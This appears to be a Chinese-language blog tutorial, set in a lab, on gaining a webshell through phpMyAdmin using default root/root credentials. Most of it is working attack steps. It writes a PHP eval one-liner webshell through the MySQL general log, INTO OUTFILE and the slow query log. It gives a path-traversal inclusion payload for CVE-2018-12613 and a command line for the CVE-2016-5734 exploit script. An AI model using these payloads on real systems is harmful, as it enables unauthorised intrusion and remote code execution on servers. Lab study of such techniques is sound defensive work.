前言
拿到phpMyAdmin弱口令登录到后台却不知道怎么利用,本篇总结一下phpMyAdmin getshell的姿势,以防忘记。
环境搭建
建议在win7下搭建,因为我在win10下无法复现,下载phpStudy,环境已经集成好了,直接启用即可。
实验环境说明:win7 + Apache(任意版本) + MYSQL(任意版本) + phpMyAdmin(任意版本) + 绝对路径 C:\phpstudy_pro\WWW。
写日志getshell
默认用户名:root,密码:root,登陆进phpMyAdmin后,进入变量选项卡,搜索general,可看到以下信息。

general log默认是OFF状态,即不开启日志记录功能。general log file是配置日志保存的位置。
因为是root权限,所以我们可以对这两个变量进行修改。将OFF改ON,日志保存位置改成C:\phpstudy_pro\WWW\shell.php,即创建一个shell.php的空文件。

进入靶机可看见shell.php日志文件

查看shell.php里面的内容
C:\phpstudy_pro\COM\..\Extensions\MySQL5.7.26\\bin\mysqld.exe, Version: 5.7.26 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time Id Command Argument
2021-02-16T05:22:17.732510Z 44 Query SHOW GLOBAL VARIABLES WHERE Variable_name="general_log_file"
2021-02-16T05:22:17.748511Z 45 Quit
2021-02-16T05:22:17.748511Z 44 Quit
点击SQl选项卡,使用sql查询语句将一句话php木马写入日志,select '<?php eval($_POST[aaa]);?>';

执行成功

再次查看shell.php内容,可看到一句话木马已经被写入

蚁剑成功连接

写文件getshell
可使用select '<?php eval($_POST[aaa]);?>' INTO OUTFILE '网站路径';,将一句话写进文件,这里出现报错。

报错原因是因为secure_file_priv的值的原因:
secure_file_priv=null #不允许导入导出
secure_file_priv=/tmp/ #导入导出只能在/tmp/目录下
secure_file_priv='' #可导入导出
来到变量搜索secure_file_priv,可看到值为NULL,所以刚刚写文件失败了。

在MySQL目录下打开my.ini,如图位置添加secure_file_priv=''

保存文件,重启phpStudy,再次查看变量secure_file_priv,可看到刚刚的NULL值变为空

尝试执行sql语句select '<?php eval($_POST[aaa]);?>' INTO OUTFILE 'C:/phpstudy_pro/WWW/1.php';,成功写入木马

慢查询日志getshell
查看当前慢查询日志情况show variables like '%slow%';,可看到slow_query_log=OFF 是关闭的

使用set global slow_query_log=on;开启慢查询功能

重新设置日志路径set global slow_query_log_file='C:/phpstudy_pro/WWW/2.php';

再次查看日志情况show variables like '%slow%';,已成功修改

执行sql命令,写webshell进日志文件select '<?php phpinfo() ?>' from mysql.db where sleep(10);,访问2.php,成功执行phpinfo

特殊版本
CVE-2018-12613
受影响版本
phpMyAdmin 4.8.1和4.8.0
payload为index.php?target=db_sql.php%253f/../../../../../../../../windows/win.ini,可查看文件

查看数据库路径show global variables like "%datadir%";

写入php代码
CREATE DATABASE rce;
use rce;
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");

包含该数据库文件
index.php?target=db_sql.php%253f/../../../../../../../../phpstudy_pro/Extensions/MySQL5.7.26/data/rce/rce.MYD
CVE-2016-5734
受影响版本CVE-2016-5734详情
4.0.10.16之前的4.0.x版本
4.4.15.7之前的4.4.x版本
4.6.3之前的4.6.x版本
环境搭建使用vulhub
cd /phpmyadmin/CVE-2016-5734
docker-compose up -d
访问http://ip:8080 用户名:root 密码:root
下载exp,使用python 40185.py -c "system('whoami');" -u root -p root http://192.168.127.132:8080 -c 执行的命令,-u 数据库用户名 -p 数据库密码 后面跟url,不能使用一句话直接反弹shell,建议写一句话木马进去
